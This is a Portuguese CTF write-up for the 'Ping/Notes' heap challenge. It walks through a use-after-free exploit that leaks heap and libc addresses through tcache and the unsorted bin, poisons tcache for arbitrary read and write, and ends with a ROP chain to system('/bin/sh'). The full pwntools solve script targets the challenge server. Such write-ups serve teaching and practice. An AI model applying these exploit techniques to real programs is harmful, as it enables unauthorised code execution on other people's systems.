



Write-up: Notes

por *dleskow*

Informações do chall

- **Título:** Ping/Notes
- **Autor:** Tavares
- **Contexto:** Cansado do Notepad? O Notepad++ é ainda pior!
Anuncio-lhes o melhor aplicativos de notas que você já conheceu!
E provavelmente o mais seguro também (segurança ainda em fase de testes)
- **Arquivos:**
 - *Notes.zip*
 - *notes* (ELF)
 - *libc.so.6*
 - *ld-linux-x86-64.so.2*
 - *Dockerfile*
 - *run.sh*
 - *flag.txt*

1. Write-Up

1.1. Vulnerabilidade

Começamos vendo o checksec do executável e interagindo com o programa. Abri-lo no IDA é uma opção, mas levaria tempo para entender o que está acontecendo, então mais vale ter uma noção inicial do que ele faz e, então, procurar coisas específicas no IDA (este tipo de pensamento não é válido para malwares, claro).

```
pwndbg> checksec
File:      /home/ganesh/Ping/Notes/notes
Arch:      amd64
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
Stripped:   No
```

Para nossa inconveniência, não há facilitadores óbvios. Vejamos um pouco de sua execução:

```
(dleskow@ganesh) - [/home/ganesh/Ping/Notes]
# ./notes
0xb60
Welcome to the incredible notes app v1.3.37
1) Add note
2) Edit note
3) Delete note
4) Read note
5) Exit
```

O programa lida com notas, e possui 4 funções: criar, deletar, ler e editar. Testemos os limites de cada uma. Estou omitindo o menu por simplicidade:

```
> 1 # Criar
Note content> ganesh
New note id: 0

> 4 # Ler
Note id> 0
Note content: ganesh

> 3 # Deletar
```



```
Note id> 0

> 4 # Ler
Note id> 0
Note content: 00c # Caracteres não ASCII

> 2 # Editar
Note id> 0
New note content> ganesh

> 4 # Ler
Note id> 0
Note content: ganesh
```

Veja que o programa não remove as notas apagadas, nem verifica sua integridade na hora de lê-las ou editá-las. Temos, portanto, uma vulnerabilidade UAF (Use After Free) disponível, e podemos trabalhar sobre isso.

Uma restrição do problema que merece atenção, mostrada abaixo no IDA, é que a leitura da nota utiliza `%s` no `printf`, ou seja, nos mostra apenas até o 1º byte nulo:

```
unsigned __int64 __fastcall read_note(unsigned __int8 a1)
{
    unsigned __int64 v2; // [rsp+18h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    if ( a1 < (unsigned __int8)n_notes )
        printf("Note content: %s\n", *((const char **)&notes + a1));
    else
        puts("Invalid note id");
    return v2 - __readfsqword(0x28u);
}
```

Primeira coisa a se fazer é garantir que estamos utilizando a mesma versão da Libc que nos foi fornecida. Para tal, utilizamos o `pwninit` para criar um executável que utilize a Libc existente na mesma pasta do executável, criando o executável `notes_patched`, sobre o qual trabalharemos. O cabeçalho padrão do `solve.py` será aqui omitido, mas está contido na solução completa, na Seção 2.

Prontos com uma cópia exata do executável rodando no servidor e com a vulnerabilidade em mente, temos o seguinte plano de ação:

1. Vazar endereços da Heap e Libc:

- Deletar notas e lê-las vaza endereços;
- A primeira vazará o offset da Heap;
- A primeira após o enchimento da `tcache` vazará um endereço da Libc.

2. Abusar do `malloc` para obter leitura/escrita arbitrária:

- Basta sobrescrever os endereços das listas encadeadas e esperar ele alocar onde você pediu;
- Algum lugar na Libc poderá nos vazar um endereço da stack (geralmente o `environ`, mas não dessa vez);
- Alocar uma nota nesse lugar e vazar um endereço da stack;

3. Obter escrita diretamente sobre o endereço de retorno da `main` e utilizar ROP para obter uma shell.

- Se temos os endereços da Libc, temos também da `system` e de alguma string `/bin/sh` que esteja lá;



- Devemos ter um gadget para ajustarmos os argumentos (rdi) para chamar a *system*;
- Após fazer o ROP, encerrar o programa para lançar o ataque e ganharmos uma shell.

Ataque utilizando *pwntools*

O cabeçalho criando o processo com a versão da Libc já foi criado pelo *pwninit*. Além disso, criamos funções que criam, deletam, leem e editam notas, de forma a deixar o ataque mais compreensível, uma vez que abstrai o "baixo nível" de lidar com o menu do programa. Tudo isso será aqui omitido, mas está incluso na Seção 2.

Endereços da Heap e Libc

Para vazarmos tais endereços, abusamos da *tcache*.

O último *chunk* da *tcache* aponta, como próximo, para o offset da página que está utilizando da Heap, o que nos permite, a partir da leitura da 1ª nota apagada (aka última da lista), vazarmos esse offset, ou seja, obter o endereço da Heap.

Após o enchimento da *tcache*, os *chunks* são enviados para a *unsorted bin*, que cria a lista circular. Por algum motivo, é necessário haver mais de 1 elemento nela para vazarmos um endereço da Libc, mas isso ocorre no primeiro *chunk* da *unsorted bin* assim que há mais de um *chunk* nela.

O código para vazarmos os endereços, então, consiste em criar N notas, deletar todas elas e ir lendo o que houver nelas para coletar os endereços vazados. Após coletar os vazamentos, calculam-se os valores de interesse e mostram-se todos os endereços vazados na tela.

```
# Leak addresses
N = 12
for i in range(N):
    note_add()
leaks = []
for i in range(N):
    note_rm(i)
    leak = u64(note_read(i).ljust(8, b'\x00'))
    leaks.append(leak)
    print(f'leak {i} = {hex(leak)}')
xor_key = leaks[0]
heap_addr = xor_key << 12
libc_addr = leaks[7] - 0x7fbf46407bb0 + 0x7fbf46220000
print('Leaks:')
for i in range(N):
    if 1 <= i < 7:
        print(f'Leak {i}: {hex(leaks[i] ^ xor_key)}')
    else:
        print(f'Leak {i}: {hex(leaks[i])}')
print(f'heap_addr = :#x')
print(f'libc_addr = :#x')
```

Detalhes a serem lembrados:

- Uma vez que a *read_note* nos retorna o conteúdo com *printf*, que para no primeiro byte nulo, é necessário fazer um *padding* até 8 bytes para utilizar a função *u64* (que recebe 8 bytes e os converte para um número; no caso, um endereço de memória);
- A lista encadeada formada pelo *malloc/free* guarda os endereços dos próximos *chunks* de forma codificada: fazendo um XOR com o offset da heap sem os últimos 3 números hexadecimais (aka sem os últimos 12 bits), que é o próprio valor vazado na leitura da 1ª nota apagada.

Para quem não está familiar com a gambiarra da linha `libc_addr = leaks[7] - 0x7fbf46407bb0 + 0x7fbf46220000` (subtrair e somar um valor esquisito), consiste em um método extremamente



eficiente de se obter um offset de algo sem ter que realmente calculá-lo: você abre uma execução no GDB, subtrai o próprio valor vazado e soma o valor que você quer obter. É, essencialmente, o mesmo que substituir o valor que você tem pelo valor que você queria ter. Peguemos, para fins de exemplo, uma execução com os seguintes valores:

```
Leak 7: 0x7f8240d7fbb0

pwndbg> info proc m
0x00007f8240b98000 0x00007f8240bc0000 0x28000 0x0 r--p /home/ganesh/Ping/Notes/libc.so.6
```

Com esses valores, teríamos a seguinte linha:

```
libc_addr = leaks[7] - 0x7f8240d7fbb0 + 0x7f8240b98000
```

que, como o offset entre os dois valores é constante, também funciona da mesma forma.

De qualquer forma, agora já temos os endereços da Heap e Libc. Exemplo em uma execução:

```
heap_addr = 0x56387c60f000
libc_addr = 0x7f8240b98000
```

Abuso do *malloc* / Endereço da Stack

Para abusar do *malloc* para obtermos leitura (usando a *read_note*) e escrita (usando a *edit_note*) arbitrárias, basta sobrescrever o ponteiro *forward* da última nota liberada (lembrando de fazer o XOR necessário) e, então, alocar duas notas com o *malloc*. Duas notas, porque lembre que a *tcache* é uma lista encadeada e a struct usada pelo *malloc* possui apenas o ponteiro para o primeiro da lista (aka último *free*). Então o primeiro *malloc* te devolve o *chunk* que estava nesse ponteiro e o atualiza pelo *forward* (que é o endereço que você sobrescreveu) e, então, o segundo *malloc* te devolve um *chunk* no lugar onde você realmente queria.

No caso desse chall, queremos vaziar um endereço da Stack. Para tal, podemos tentar ler o *environ*, mas veja que ele não possui alinhamento com 16 bytes:

```
pwndbg> p &environ
$1 = (<data variable, no debug info> *) 0x7f23b8ba0e28 <environ>
```

o que fará com que o *malloc* retorne erro, caso tente alocar uma nota aí. E, caso tente alocar 8 bytes antes (para corrigir o alinhamento), o *printf* não te revelará nada, uma vez que possuirá bytes nulos antes de te imprimir o endereço da Stack lá contido.

Temos, portanto, que procurar outro lugar para ler um endereço da Stack. Infelizmente, não conheço forma melhor de procurar além de ir lendo a memória até achar algo. Dito isso, algo como abaixo foi feito até se achar algo útil:

```
pwndbg> info proc m
0x00007f23b8b99000 0x00007f23b8b9b000 0x2000 0x1e6000 rw-p /home/ganesh/Ping/Notes/libc.so.6

pwndbg> hexdump 0x00007f23e7c0000 0x5000
+16e0 0x7f23b8b9a6e0 08 f0 f0 6c fc 7f 00 00 00 00 00 00 00 00 |...l....|.....|
```

como este acima, que é, visivelmente, um endereço da Stack, uma vez que começa com 0x7f.

Tendo um endereço onde ler um vazamento da Stack, podemos então utilizar o *malloc* para lê-lo:



```
addr = libc_addr - 0x7f72b4642000 + 0x7f72b482a6e0
print(f'{addr = :#x}')
note_edit(6, p64(addr ^ xor_key))
note_add(b'')
note_add(b'')
stack_leak = u64(note_read(10).ljust(8, b'\x00'))
print(f'{stack_leak = :#x}')
```

Note que alocamos notas vazias para não sobrescrever o endereço lá contido, uma vez que nosso objetivo era ler seu conteúdo.

ROP

Agora, tendo vazado um endereço da Stack, basta fazermos ROP.

Para começar, primeiro descobrimos onde queremos escrever, ou seja, onde é o RBP da *main*. Para tal, vamos no GDB, colocamos um breakpoint e vemos. Primeiro, roda-se o script como está até agora e, no GDB, Ctrl+C para se interromper a execução. No *backtrace*, vê-se:

```
► 0 0x7f23b8a41687 None
1 0x7f23b8a416ad None
2 0x7f23b8ab5ea6 read+22
3 0x7f23b8a3c861 _IO_file_underflow+337
4 0x7f23b8a3eb9b _IO_default_uflow+43
5 0x7f23b8a177ba None
6 0x7f23b8a0b30e __isoc23_scanf+174
7 0x562cb4658486 get_value+54
```

Como não vemos a *main*, põe-se um breakpoint no *get_value* mesmo e manda continuar (lembre de enviar algum valor para ele ler algo e alcançar o breakpoint):

```
pwndbg> b* get_value+54
Breakpoint 1 at 0x562cb4658486
pwndbg> c
Continuing.

► 0 0x562cb4658486 get_value+54
1 0x562cb46585a1 main+208
2 0x7f23b89dbca8 None
3 0x7f23b89dbd65 __libc_start_main+133
4 0x562cb4658121 _start+33
```

Neste backtrace, vemos o lugar na *main*, onde então colocamos um breakpoint:

```
pwndbg> b* main+208
Breakpoint 2 at 0x562cb46585a1
pwndbg> c
Continuing.

pwndbg> p $rbp
$2 = (void *) 0x7ffc6cf0eef0

pwndbg> hexdump $rbp
+0000 0x7ffc6cf0eef0 01 00 00 00 00 00 00 00 a8 bc 9d b8 23 7f 00 00 |.....|...#...|
```

Veja que temos a posição onde queremos escrever. Pela mesma questão de alinhamento do *malloc* de antes, não podemos escrever diretamente sobre o endereço de retorno, então pedimos por uma nota no próprio RBP e sobrescrevemos o valor do RBP antigo que lá está com qualquer coisa, uma vez que seu valor não é relevante (alterar ele geralmente leva o programa a dar *seg fault*, mas como a chamada



da *system* ocorre antes, a shell aparece antes, e o *seg fault* só ocorre quando esta shell for fechada e o processo anterior voltar a executar, de forma que não mais nos afeta).

Para fazer o ROP, então, primeiro preparamos para chamar o *malloc* para obtermos escrita na posição de RBP:

```
ret_addr = stack_leak - 0x7ffc5f4eeac8 + 0x7ffc5f4ee9b8 - 0x8 # Alignment
note_rm(9)
note_edit(9, p64(ret_addr ^ xor_key))
```

Então, obtemos os endereços necessários para o ROP na Libc fornecida e com as ferramentas do *pwntools*:

```
# Prepare payload
libc.address = libc_addr
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
sh = next(libc.search(b'/bin/sh\x00'))
ret = pop_rdi + 0x1
system = libc.sym['system']
print(f'{ret_addr = :#x}')
print(f'{pop_rdi = :#x}')
print(f'{sh = :#x}')
print(f'{ret = :#x}')
print(f'{system = :#x}')
```

Note que, para alinhamento da Stack (necessário para utilizar a *system*, que requer alinhamento da Stack em 16 bytes), simplesmente colocamos um *ret* a mais no ROP, o que consiste em um *pop* a mais, que realinha a Stack. Além disso, por simplicidade, utilizamos o mesmo *ret* de nosso gadget *pop rdi*, *ret* e, como a instrução *pop rdi* ocupa apenas 1 bytes, basta somar 1 em seu endereço para obter apenas a instrução *ret*.

Com os valores prontos, preparamos o ROP:

```
# Payload
payload = b''
payload += p64(0x1) # rbp, which wasn't skipped for alignment
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(ret)
payload += p64(system)
```

Agora, com todos a postos, basta desencadear o ataque: pegar a nota em RBP através do *malloc*, colocar o *payload* lá e encerrar o programa, que chama *return 0* e desencadeia o ROP:

```
# Send
note_add(b'')
note_add(b'')
note_edit(12, payload)

# Exit notes = ret
p.sendline(b'S')

p.interactive()
```

Dessa forma, debes ganhar uma shell em mãos, de forma a termos encerrado este chall =D



2. solve.py

```
from pwn import *

exe = ELF("../notes_patched")
libc = ELF("../libc.so.6", checksec=False)
ld = ELF("../ld-linux-x86-64.so.2", checksec=False)

REMOTE = False
REMOTE = True

if REMOTE:
    context.bits = 64
    p = remote('ganesh.icmc.usp.br', 5005)
    #p = remote('localhost', 5005)
else:
    context.binary = exe
    context.terminal = ['qterminal', '-e']
    p = process([exe.path])
    #gdb.attach(p, exe=exe.path, gdbscript="b* main+413\ncontinue")
    gdb.attach(p, exe=exe.path, gdbscript="continue")

#context.log_level = 'debug'

def note_add(data=b'a'):
    p.sendline(b'1')
    p.recvuntil(b'> ')
    p.sendline(data)
    p.recvuntil(b'> ')

def note_rm(index):
    p.sendline(b'3')
    p.recvuntil(b'> ')
    p.sendline(f'{index}'.encode())
    p.recvuntil(b'> ')

def note_edit(index, data):
    p.sendline(b'2')
    p.recvuntil(b'> ')
    p.sendline(f'{index}'.encode())
    p.recvuntil(b'> ')
    p.sendline(data)
    p.recvuntil(b'> ')

def note_read(index):
    p.sendline(b'4')
    p.recvuntil(b'> ')
    p.sendline(f'{index}'.encode())
    p.recvuntil(b': ')
    leak = p.recvline()[0:]
    p.recvuntil(b'> ')
    return leak

p.recvuntil(b'> ')

# Leak addresses
N = 9
for i in range(N):
    note_add()
leaks = []
for i in range(N):
    note_rm(i)
    leak = u64(note_read(i).ljust(8, b'\x00'))
    leaks.append(leak)
    print(f'leak {i} = {hex(leak)}')

# p.interactive()
xor_key = leaks[0]
heap_addr = xor_key << 12
libc_addr = leaks[7] - 0x7fbf46407bb0 + 0x7fbf46220000
```



```
print('Leaks:')
for i in range(N):
    if 1 <= i < 7:
        print(f'Leak {i}: {hex(leaks[i] ^ xor_key)}')
    else:
        print(f'Leak {i}: {hex(leaks[i])}')
print(f'{heap_addr = :#x}')
print(f'{libc_addr = :#x}')
# p.interactive()

# Malloc on the libc and leak stack
# environ cannot be used because of alignment...
# pwndbg> hexdump 0x7fe7a72bd000 0x20000
addr = libc_addr - 0x7f72b4642000 + 0x7f72b482a6e0
print(f'{addr = :#x}')
note_edit(6, p64(addr ^ xor_key))
note_add(b'')
note_add(b'')
stack_leak = u64(note_read(10).ljust(8, b'\x00'))
print(f'{stack_leak = :#x}')

# Get a note that overwrites the return address :D
ret_addr = stack_leak - 0x7ffc5f4eeac8 + 0x7ffc5f4ee9b8 - 0x8 # Alignment
note_rm(9)
note_edit(9, p64(ret_addr ^ xor_key))
# Prepare payload
libc.address = libc_addr
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
sh = next(libc.search(b'/bin/sh\x00'))
ret = pop_rdi + 0x1
system = libc.sym['system']
print(f'{ret_addr = :#x}')
print(f'{pop_rdi = :#x}')
print(f'{sh = :#x}')
print(f'{ret = :#x}')
print(f'{system = :#x}')
# Payload
payload = b''
payload += p64(0x1) # rbp, which wasn't skipped for alignment
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(ret)
payload += p64(system)
# Send
note_add(b'')
note_add(b'')
note_edit(12, payload)

# Exit notes = ret
p.sendline(b'5')

p.interactive()
```